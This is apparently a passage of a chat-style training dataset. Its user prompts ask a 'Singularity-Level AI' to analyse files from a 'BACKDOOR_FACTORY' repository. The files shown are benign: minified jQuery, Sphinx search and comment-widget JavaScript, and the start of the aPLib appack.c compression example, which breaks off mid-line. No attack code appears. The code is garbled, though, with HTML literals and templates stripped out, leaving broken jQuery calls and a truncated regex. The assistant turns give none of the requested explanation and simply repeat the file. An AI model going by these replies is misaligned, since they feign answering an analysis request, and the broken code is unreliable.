\"):[n],s={};for(r=0;r<4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\\[\\]$/,on=/\\r?\\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,\"\\r\\n\")}}):{name:t.name,value:n.replace(on,\"\\r\\n\")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?\"\":t,i[i.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery&&!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join(\"&\").replace(rn,\"+\")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg,dn=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\\/\\//,gn=/\\?/,yn=/)<[^<]*)*<\\/script>/gi,bn=/([?&])_=[^&]*/,wn=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=[\"*/\"]+[\"*\"];try{cn=s.href}catch(Nn){cn=i.createElement(\"a\"),cn.href=\"\",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!=\"string\"&&En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(\" \");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n&&typeof n==\"object\"&&(s=\"POST\"),v.ajax({url:e,type:s,dataType:\"html\",data:n,complete:function(e,t){r&&u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v(\"
\").append(e.replace(yn,\"\")).find(i):e)}),this},v.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each([\"get\",\"post\"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)&&(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,\"script\")},getJSON:function(e,t,n){return v.get(e,t,n,\"json\")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":e.String,\"text html\":!0,\"text json\":v.parseJSON,\"text xml\":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u&&clearTimeout(u),o=t,i=a||\"\",x.readyState=e>0?4:0,s&&(w=An(c,x,s));if(e>=200&&e<300||e===304)c.ifModified&&(S=x.getResponseHeader(\"Last-Modified\"),S&&(v.lastModified[r]=S),S=x.getResponseHeader(\"Etag\"),S&&(v.etag[r]=S)),e===304?(T=\"notmodified\",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T=\"error\",e<0&&(e=0)}x.status=e,x.statusText=(n||T)+\"\",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f&&p.trigger(\"ajax\"+(l?\"Success\":\"Error\"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f&&(p.trigger(\"ajaxComplete\",[x,c]),--v.active||v.event.trigger(\"ajaxStop\"))}typeof e==\"object\"&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c&&(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks(\"once memory\"),g=c.statusCode||{},b={},w={},E=0,S=\"canceled\",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o&&o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E<2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+\"\").replace(hn,\"\").replace(mn,ln[1]+\"//\"),c.dataTypes=v.trim(c.dataType||\"*\").toLowerCase().split(y),c.crossDomain==null&&(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]&&a[2]===ln[2]&&(a[3]||(a[1]===\"http:\"?80:443))==(ln[3]||(ln[1]===\"http:\"?80:443)))),c.data&&c.processData&&typeof c.data!=\"string\"&&(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f&&v.active++===0&&v.event.trigger(\"ajaxStart\");if(!c.hasContent){c.data&&(c.url+=(gn.test(c.url)?\"&\":\"?\")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,\"$1_=\"+N);c.url=C+(C===c.url?(gn.test(c.url)?\"&\":\"?\")+\"_=\"+N:\"\")}}(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader(\"Content-Type\",c.contentType),c.ifModified&&(r=r||c.url,v.lastModified[r]&&x.setRequestHeader(\"If-Modified-Since\",v.lastModified[r]),v.etag[r]&&x.setRequestHeader(\"If-None-Match\",v.etag[r])),x.setRequestHeader(\"Accept\",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!==\"*\"?\", \"+Tn+\"; q=0.01\":\"\"):c.accepts[\"*\"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1&&E!==2){S=\"abort\";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,\"No Transport\");else{x.readyState=1,f&&p.trigger(\"ajaxSend\",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort(\"timeout\")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E<2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\\?/,Dn=/(=)\\?(?=&|$)|\\?\\?/,Pn=v.now();v.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=Mn.pop()||v.expando+\"_\"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter(\"json jsonp\",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l&&Dn.test(f),h=l&&!c&&typeof a==\"string\"&&!(n.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&Dn.test(a);if(n.dataTypes[0]===\"jsonp\"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,\"$1\"+s):h?n.data=a.replace(Dn,\"$1\"+s):l&&(n.url+=(_n.test(f)?\"&\":\"?\")+n.jsonp+\"=\"+s),n.converters[\"script json\"]=function(){return u||v.error(s+\" was not called\"),u[0]},n.dataTypes[0]=\"json\",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u&&v.isFunction(o)&&o(u[0]),u=o=t}),\"script\"}),v.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter(\"script\",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type=\"GET\",e.global=!1)}),v.ajaxTransport(\"script\",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName(\"head\")[0]||i.documentElement;return{send:function(s,o){n=i.createElement(\"script\"),n.async=\"async\",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r&&n.parentNode&&r.removeChild(n),n=t,i||o(200,\"success\")},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e&&\"withCredentials\"in e})}(v.ajaxSettings.xhr()),v.support.ajax&&v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),!n.crossDomain&&!i[\"X-Requested-With\"]&&(i[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r&&(i||a.readyState===4)){r=t,o&&(a.onreadystatechange=v.noop,Bn&&delete Hn[o]);if(i)a.readyState!==4&&a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h&&h.documentElement&&(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=\"\"}!u&&n.isLocal&&!n.crossDomain?u=c.text?200:404:u===1223&&(u=204)}}}catch(d){i||s(-1,d)}c&&s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn&&(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp(\"^(?:([-+])=|)(\"+m+\")([a-z%]*)$\",\"i\"),Wn=/queueHooks$/,Xn=[Gn],Vn={\"*\":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?\"\":\"px\");if(r!==\"px\"&&u){u=v.css(i.elem,e,!0)||n||1;do a=a||\".5\",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)&&a!==1&&--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=[\"*\"]):e=e.split(\" \");var n,r=0,i=e.length;for(;r-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.top+c),t.left!=null&&(f.left=t.left-s.left+h),\"using\"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,\"marginTop\"))||0,n.left-=parseFloat(v.css(e,\"marginLeft\"))||0,r.top+=parseFloat(v.css(t[0],\"borderTopWidth\"))||0,r.left+=parseFloat(v.css(t[0],\"borderLeftWidth\"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e&&!er.test(e.nodeName)&&v.css(e,\"position\")===\"static\")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:\"height\",Width:\"width\"},function(e,n){v.each({padding:\"inner\"+e,content:n,\"\":\"outer\"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length&&(r||typeof i!=\"boolean\"),u=r||(i===!0||s===!0?\"margin\":\"border\");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement[\"client\"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body[\"scroll\"+e],s[\"scroll\"+e],n.body[\"offset\"+e],s[\"offset\"+e],s[\"client\"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define==\"function\"&&define.amd&&define.amd.jQuery&&define(\"jquery\",[],function(){return v})})(window);\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/doc/html/_static/searchtools.js\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * searchtools.js_t\n * ~~~~~~~~~~~~~~~~\n *\n * Sphinx JavaScript utilties for the full-text search.\n *\n * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS.\n * :license: BSD, see LICENSE for details.\n *\n */\n\n\n/**\n * Porter Stemmer\n */\nvar Stemmer = function() {\n\n var step2list = {\n ational: 'ate',\n tional: 'tion',\n enci: 'ence',\n anci: 'ance',\n izer: 'ize',\n bli: 'ble',\n alli: 'al',\n entli: 'ent',\n eli: 'e',\n ousli: 'ous',\n ization: 'ize',\n ation: 'ate',\n ator: 'ate',\n alism: 'al',\n iveness: 'ive',\n fulness: 'ful',\n ousness: 'ous',\n aliti: 'al',\n iviti: 'ive',\n biliti: 'ble',\n logi: 'log'\n };\n\n var step3list = {\n icate: 'ic',\n ative: '',\n alize: 'al',\n iciti: 'ic',\n ical: 'ic',\n ful: '',\n ness: ''\n };\n\n var c = \"[^aeiou]\"; // consonant\n var v = \"[aeiouy]\"; // vowel\n var C = c + \"[^aeiouy]*\"; // consonant sequence\n var V = v + \"[aeiou]*\"; // vowel sequence\n\n var mgr0 = \"^(\" + C + \")?\" + V + C; // [C]VC... is m>0\n var meq1 = \"^(\" + C + \")?\" + V + C + \"(\" + V + \")?$\"; // [C]VC[V] is m=1\n var mgr1 = \"^(\" + C + \")?\" + V + C + V + C; // [C]VCVC... is m>1\n var s_v = \"^(\" + C + \")?\" + v; // vowel in stem\n\n this.stemWord = function (w) {\n var stem;\n var suffix;\n var firstch;\n var origword = w;\n\n if (w.length < 3)\n return w;\n\n var re;\n var re2;\n var re3;\n var re4;\n\n firstch = w.substr(0,1);\n if (firstch == \"y\")\n w = firstch.toUpperCase() + w.substr(1);\n\n // Step 1a\n re = /^(.+?)(ss|i)es$/;\n re2 = /^(.+?)([^s])s$/;\n\n if (re.test(w))\n w = w.replace(re,\"$1$2\");\n else if (re2.test(w))\n w = w.replace(re2,\"$1$2\");\n\n // Step 1b\n re = /^(.+?)eed$/;\n re2 = /^(.+?)(ed|ing)$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n re = new RegExp(mgr0);\n if (re.test(fp[1])) {\n re = /.$/;\n w = w.replace(re,\"\");\n }\n }\n else if (re2.test(w)) {\n var fp = re2.exec(w);\n stem = fp[1];\n re2 = new RegExp(s_v);\n if (re2.test(stem)) {\n w = stem;\n re2 = /(at|bl|iz)$/;\n re3 = new RegExp(\"([^aeiouylsz])\\\\1$\");\n re4 = new RegExp(\"^\" + C + v + \"[^aeiouwxy]$\");\n if (re2.test(w))\n w = w + \"e\";\n else if (re3.test(w)) {\n re = /.$/;\n w = w.replace(re,\"\");\n }\n else if (re4.test(w))\n w = w + \"e\";\n }\n }\n\n // Step 1c\n re = /^(.+?)y$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n re = new RegExp(s_v);\n if (re.test(stem))\n w = stem + \"i\";\n }\n\n // Step 2\n re = /^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n suffix = fp[2];\n re = new RegExp(mgr0);\n if (re.test(stem))\n w = stem + step2list[suffix];\n }\n\n // Step 3\n re = /^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n suffix = fp[2];\n re = new RegExp(mgr0);\n if (re.test(stem))\n w = stem + step3list[suffix];\n }\n\n // Step 4\n re = /^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/;\n re2 = /^(.+?)(s|t)(ion)$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n re = new RegExp(mgr1);\n if (re.test(stem))\n w = stem;\n }\n else if (re2.test(w)) {\n var fp = re2.exec(w);\n stem = fp[1] + fp[2];\n re2 = new RegExp(mgr1);\n if (re2.test(stem))\n w = stem;\n }\n\n // Step 5\n re = /^(.+?)e$/;\n if (re.test(w)) {\n var fp = re.exec(w);\n stem = fp[1];\n re = new RegExp(mgr1);\n re2 = new RegExp(meq1);\n re3 = new RegExp(\"^\" + C + v + \"[^aeiouwxy]$\");\n if (re.test(stem) || (re2.test(stem) && !(re3.test(stem))))\n w = stem;\n }\n re = /ll$/;\n re2 = new RegExp(mgr1);\n if (re.test(w) && re2.test(w)) {\n re = /.$/;\n w = w.replace(re,\"\");\n }\n\n // and turn initial Y back to y\n if (firstch == \"y\")\n w = firstch.toLowerCase() + w.substr(1);\n return w;\n }\n}\n\n\n\n/**\n * Simple result scoring code.\n */\nvar Scorer = {\n // Implement the following function to further tweak the score for each result\n // The function takes a result array [filename, title, anchor, descr, score]\n // and returns the new score.\n /*\n score: function(result) {\n return result[4];\n },\n */\n\n // query matches the full name of an object\n objNameMatch: 11,\n // or matches in the last dotted part of the object name\n objPartialMatch: 6,\n // Additive scores depending on the priority of the object\n objPrio: {0: 15, // used to be importantResults\n 1: 5, // used to be objectResults\n 2: -5}, // used to be unimportantResults\n // Used when the priority is not in the mapping.\n objPrioDefault: 0,\n\n // query found in title\n title: 15,\n // query found in terms\n term: 5\n};\n\n\n/**\n * Search Module\n */\nvar Search = {\n\n _index : null,\n _queued_query : null,\n _pulse_status : -1,\n\n init : function() {\n var params = $.getQueryParameters();\n if (params.q) {\n var query = params.q[0];\n $('input[name=\"q\"]')[0].value = query;\n this.performSearch(query);\n }\n },\n\n loadIndex : function(url) {\n $.ajax({type: \"GET\", url: url, data: null,\n dataType: \"script\", cache: true,\n complete: function(jqxhr, textstatus) {\n if (textstatus != \"success\") {\n document.getElementById(\"searchindexloader\").src = url;\n }\n }});\n },\n\n setIndex : function(index) {\n var q;\n this._index = index;\n if ((q = this._queued_query) !== null) {\n this._queued_query = null;\n Search.query(q);\n }\n },\n\n hasIndex : function() {\n return this._index !== null;\n },\n\n deferQuery : function(query) {\n this._queued_query = query;\n },\n\n stopPulse : function() {\n this._pulse_status = 0;\n },\n\n startPulse : function() {\n if (this._pulse_status >= 0)\n return;\n function pulse() {\n var i;\n Search._pulse_status = (Search._pulse_status + 1) % 4;\n var dotString = '';\n for (i = 0; i < Search._pulse_status; i++)\n dotString += '.';\n Search.dots.text(dotString);\n if (Search._pulse_status > -1)\n window.setTimeout(pulse, 500);\n }\n pulse();\n },\n\n /**\n * perform a search for something (or wait until index is loaded)\n */\n performSearch : function(query) {\n // create the required interface elements\n this.out = $('#search-results');\n this.title = $('

' + _('Searching') + '

').appendTo(this.out);\n this.dots = $('').appendTo(this.title);\n this.status = $('

').appendTo(this.out);\n this.output = $('
');\n }\n // Prettify the comment rating.\n comment.pretty_rating = comment.rating + ' point' +\n (comment.rating == 1 ? '' : 's');\n // Make a class (for displaying not yet moderated comments differently)\n comment.css_class = comment.displayed ? '' : ' moderate';\n // Create a div for this comment.\n var context = $.extend({}, opts, comment);\n var div = $(renderTemplate(commentTemplate, context));\n\n // If the user has voted on this comment, highlight the correct arrow.\n if (comment.vote) {\n var direction = (comment.vote == 1) ? 'u' : 'd';\n div.find('#' + direction + 'v' + comment.id).hide();\n div.find('#' + direction + 'u' + comment.id).show();\n }\n\n if (opts.moderator || comment.text != '[deleted]') {\n div.find('a.reply').show();\n if (comment.proposal_diff)\n div.find('#sp' + comment.id).show();\n if (opts.moderator && !comment.displayed)\n div.find('#cm' + comment.id).show();\n if (opts.moderator || (opts.username == comment.username))\n div.find('#dc' + comment.id).show();\n }\n return div;\n }\n\n /**\n * A simple template renderer. Placeholders such as <%id%> are replaced\n * by context['id'] with items being escaped. Placeholders such as <#id#>\n * are not escaped.\n */\n function renderTemplate(template, context) {\n var esc = $(document.createElement('div'));\n\n function handle(ph, escape) {\n var cur = context;\n $.each(ph.split('.'), function() {\n cur = cur[this];\n });\n return escape ? esc.text(cur || \"\").html() : cur;\n }\n\n return template.replace(/<([%#])([\\w\\.]*)\\1>/g, function() {\n return handle(arguments[2], arguments[1] == '%' ? true : false);\n });\n }\n\n /** Flash an error message briefly. */\n function showError(message) {\n $(document.createElement('div')).attr({'class': 'popup-error'})\n .append($(document.createElement('div'))\n .attr({'class': 'error-message'}).text(message))\n .appendTo('body')\n .fadeIn(\"slow\")\n .delay(2000)\n .fadeOut(\"slow\");\n }\n\n /** Add a link the user uses to open the comments popup. */\n $.fn.comment = function() {\n return this.each(function() {\n var id = $(this).attr('id').substring(1);\n var count = COMMENT_METADATA[id];\n var title = count + ' comment' + (count == 1 ? '' : 's');\n var image = count > 0 ? opts.commentBrightImage : opts.commentImage;\n var addcls = count == 0 ? ' nocomment' : '';\n $(this)\n .append(\n $(document.createElement('a')).attr({\n href: '#',\n 'class': 'sphinx-comment-open' + addcls,\n id: 'ao' + id\n })\n .append($(document.createElement('img')).attr({\n src: image,\n alt: 'comment',\n title: title\n }))\n .click(function(event) {\n event.preventDefault();\n show($(this).attr('id').substring(2));\n })\n )\n .append(\n $(document.createElement('a')).attr({\n href: '#',\n 'class': 'sphinx-comment-close hidden',\n id: 'ah' + id\n })\n .append($(document.createElement('img')).attr({\n src: opts.closeCommentImage,\n alt: 'close',\n title: 'close'\n }))\n .click(function(event) {\n event.preventDefault();\n hide($(this).attr('id').substring(2));\n })\n );\n });\n };\n\n var opts = {\n processVoteURL: '/_process_vote',\n addCommentURL: '/_add_comment',\n getCommentsURL: '/_get_comments',\n acceptCommentURL: '/_accept_comment',\n deleteCommentURL: '/_delete_comment',\n commentImage: '/static/_static/comment.png',\n closeCommentImage: '/static/_static/comment-close.png',\n loadingImage: '/static/_static/ajax-loader.gif',\n commentBrightImage: '/static/_static/comment-bright.png',\n upArrow: '/static/_static/up.png',\n downArrow: '/static/_static/down.png',\n upArrowPressed: '/static/_static/up-pressed.png',\n downArrowPressed: '/static/_static/down-pressed.png',\n voting: false,\n moderator: false\n };\n\n if (typeof COMMENT_OPTIONS != \"undefined\") {\n opts = jQuery.extend(opts, COMMENT_OPTIONS);\n }\n\n var popupTemplate = '\\\n
\">\\\n

\\\n Sort by:\\\n best rated\\\n newest\\\n oldest\\\n

\\\n
Comments
\\\n
\">\\\n loading comments... \" alt=\"\" />
\\\n
    \" class=\"comment-ul\">
\\\n
\">\\\n

Add a comment\\\n (\">markup):

\\\n
\">\\\n reStructured text markup: *emph*, **strong**, \\\n ``code``, \\\n code blocks: :: and an indented block after blank line
\\\n
\" class=\"comment-form\" action=\"\">\\\n \\\n

\\\n \" class=\"show-propose-change\">\\\n Propose a change ▹\\\n \\\n \" class=\"hide-propose-change\">\\\n Propose a change ▿\\\n \\\n

\\\n \\\n \\\n \" />\\\n \\\n \\\n
\\\n
';\n\n var commentTemplate = '\\\n
\" class=\"sphinx-comment<%css_class%>\">\\\n \\\n
\\\n

\\\n <%username%>\\\n <%pretty_rating%>\\\n <%time.delta%>\\\n

\\\n
<#text#>
\\\n

\\\n \">reply ▹\\\n \">reply ▿\\\n \" class=\"show-proposal\">proposal ▹\\\n \" class=\"hide-proposal\">proposal ▿\\\n \" class=\"delete-comment hidden\">delete\\\n \" class=\"moderation hidden\">\\\n \" class=\"accept-comment\">accept\\\n \\\n

\\\n
\">\\\n<#proposal_diff#>\\\n        
\\\n
    \">
\\\n
\\\n
\\\n
\\\n ';\n\n var replyTemplate = '\\\n
  • \\\n
    \">\\\n
    \">\\\n \\\n \\\n \\\n \" />\\\n \\\n \\\n
    \\\n
  • ';\n\n $(document).ready(function() {\n init();\n });\n})(jQuery);\n\n$(document).ready(function() {\n // add comment anchors for all paragraphs that are commentable\n $('.sphinx-has-comment').comment();\n\n // highlight search words in search results\n $(\"div.context\").each(function() {\n var params = $.getQueryParameters();\n var terms = (params.q) ? params.q[0].split(/\\s+/) : [];\n var result = $(this);\n $.each(terms, function() {\n result.highlightText(this.toLowerCase(), 'highlighted');\n });\n });\n\n // directly open comment window if requested\n var anchor = document.location.hash;\n if (anchor.substring(0, 9) == '#comment-') {\n $('#ao' + anchor.substring(9)).click();\n document.location.hash = '#s' + anchor.substring(9);\n }\n});\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/example/appack.c\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * C example\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#include \n#include \n#include \n#include \n#include \n\n#include \"aplib.h\"\n\n/*\n * Calling convention for the callback.\n */\n#ifndef CB_CALLCONV\n# if defined(AP_DLL)\n# define CB_CALLCONV __stdcall\n# elif defined(__GNUC__)\n# define CB_CALLCONV\n# else\n# define CB_CALLCONV __cdecl\n# endif\n#endif\n\n/*\n * Unsigned char type.\n */\ntypedef unsigned char byte;\n\n/*\n * Compute ratio between two numbers.\n */\nstatic unsigned int ratio(unsigned int x, unsigned int y)\n{\n\tif (x <= UINT_MAX / 100) {\n\t\tx *= 100;\n\t}\n\telse {\n\t\ty /= 100;\n\t}\n\n\tif (y == 0) {\n\t\ty = 1;\n\t}\n\n\treturn x / y;\n}\n\n/*\n * Compression callback.\n */\nint CB_CALLCONV callback(unsigned int insize, unsigned int inpos,\n unsigned int outpos, void *cbparam)\n{\n\t(void) cbparam;\n\n\tprintf(\"\\rcompressed %u -> %u bytes (%u%% done)\", inpos, outpos,\n\t ratio(inpos, insize));\n\n\treturn 1;\n}\n\n/*\n * Compress a file.\n */\nstatic int compress_file(const char *oldname, const char *packedname)\n{\n\tFILE *oldfile;\n\tFILE *packedfile;\n\tunsigned int insize, outsize;\n\tclock_t clocks;\n\tbyte *data, *packed, *workmem;\n\n\t/* open input file */\n\tif ((oldfile = fopen(oldname, \"rb\")) == NULL) {\n\t\tprintf(\"\\nERR: unable to open input file\\n\");\n\t\treturn 1;\n\t}\n\n\t/* get size of input file */\n\tfseek(oldfile, 0, SEEK_END);\n\tinsize = (unsigned int) ftell(oldfile);\n\tfseek(oldfile, 0, SEEK_SET);\n\n\t/* allocate memory */\n\tif ((data = (byte *) malloc(insize)) == NULL ||\n\t (packed = (byte *) malloc(aP_max_packed_size(insize))) == NULL ||\n\t (workmem = (byte *) malloc(aP_workmem_size(insize))) == NULL) {\n\t\tprintf(\"\\nERR: not enough memory\\n\");\n\t\treturn 1;\n\t}\n\n\tif (fread(data, 1, insize, oldfile) != insize) {\n\t\tprintf(\"\\nERR: error reading from input file\\n\");\n\t\treturn 1;\n\t}\n\n\tclocks = clock();\n\n\t/* compress data block */\n\toutsize = aPsafe_pack(data, packed, insize, workmem, callback, NULL);\n\n\tclocks = clock() - clocks;\n\n\t/* check for compression error */\n\tif (outsize == APLIB_ERROR) {\n\t\tprintf(\"\\nERR: an error occured while compressing\\n\");\n\t\treturn 1;\n\t}\n\n\t/* create output file */\n\tif ((packedfile = fopen(packedname, \"wb\")) == NULL) {\n\t\tprintf(\"\\nERR: unable to create output file\\n\");\n\t\treturn 1;\n\t}\n\n\tfwrite(packed, 1, outsize, packedfile);\n\n\t/* show result */\n\tprintf(\"\\rCompressed 